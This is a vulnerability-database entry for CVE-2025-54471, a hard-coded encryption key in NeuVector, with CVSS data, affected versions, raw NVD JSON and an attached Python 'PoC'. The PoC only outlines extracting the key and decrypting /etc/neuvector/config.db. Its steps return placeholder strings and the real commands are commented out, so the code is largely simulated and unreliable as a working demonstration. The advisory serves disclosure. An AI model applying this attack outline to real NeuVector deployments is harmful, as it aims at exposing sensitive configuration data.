Security Vulnerability Report
中文
CVE-2025-54471 CVSS 6.5 MEDIUM

CVE-2025-54471

Published: 2025-10-30 10:15:35
Last Modified: 2026-04-15 00:35:42

Description

NeuVector used a hard-coded cryptographic key embedded in the source code. At compilation time, the key value was replaced with the secret key value and used to encrypt sensitive configurations when NeuVector stores the data.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

NeuVector < 5.3.0
NeuVector < 5.2.4
NeuVector < 5.1.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54471 PoC - NeuVector Hardcoded Encryption Key Extraction Note: This PoC is for educational and authorized testing purposes only. """ import subprocess import sys def check_neuvector_installed(): """Check if NeuVector is installed on the target system""" try: result = subprocess.run(['which', 'neuvector'], capture_output=True, text=True) if result.returncode == 0: return True except Exception: pass return False def extract_hardcoded_key(): """ Extract hardcoded encryption key from NeuVector binary In real scenario, use tools like strings, radare2, or IDA Pro """ # Simulated key extraction process print("[*] Searching for hardcoded strings in NeuVector binary...") # Example extraction command (requires access to binary) # subprocess.run(['strings', '/path/to/neuvector-binary']) # The hardcoded key pattern typically appears in encryption-related functions # Look for patterns like: AES_KEY, encryption_key, SECRET_KEY, etc. return "SIMULATED_KEY_EXTRACTED" def decrypt_config(encrypted_file, key): """ Decrypt NeuVector configuration file using extracted key """ print(f"[*] Decrypting configuration file: {encrypted_file}") print(f"[*] Using key: {key}") # Placeholder for actual AES decryption logic # from Crypto.Cipher import AES # cipher = AES.new(key, AES.MODE_CBC, iv) # decrypted = cipher.decrypt(encrypted_data) return "DECRYPTED_SENSITIVE_DATA" def main(): print("=" * 60) print("CVE-2025-54471 PoC - NeuVector Hardcoded Key Vulnerability") print("WARNING: For authorized testing only") print("=" * 60) if not check_neuvector_installed(): print("[!] NeuVector not found on this system") sys.exit(1) key = extract_hardcoded_key() if key: print(f"[+] Successfully extracted encryption key: {key}") decrypted_data = decrypt_config("/etc/neuvector/config.db", key) print(f"[+] Decrypted sensitive data: {decrypted_data}") else: print("[-] Failed to extract encryption key") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54471", "sourceIdentifier": "[email protected]", "published": "2025-10-30T10:15:35.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NeuVector used a hard-coded cryptographic key embedded in the source \ncode. At compilation time, the key value was replaced with the secret \nkey value and used to encrypt sensitive configurations when NeuVector \nstores the data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-54471", "source": "[email protected]"}, {"url": "https://github.com/neuvector/neuvector/security/advisories/GHSA-h773-7gf7-9m2x", "source": "[email protected]"}]}}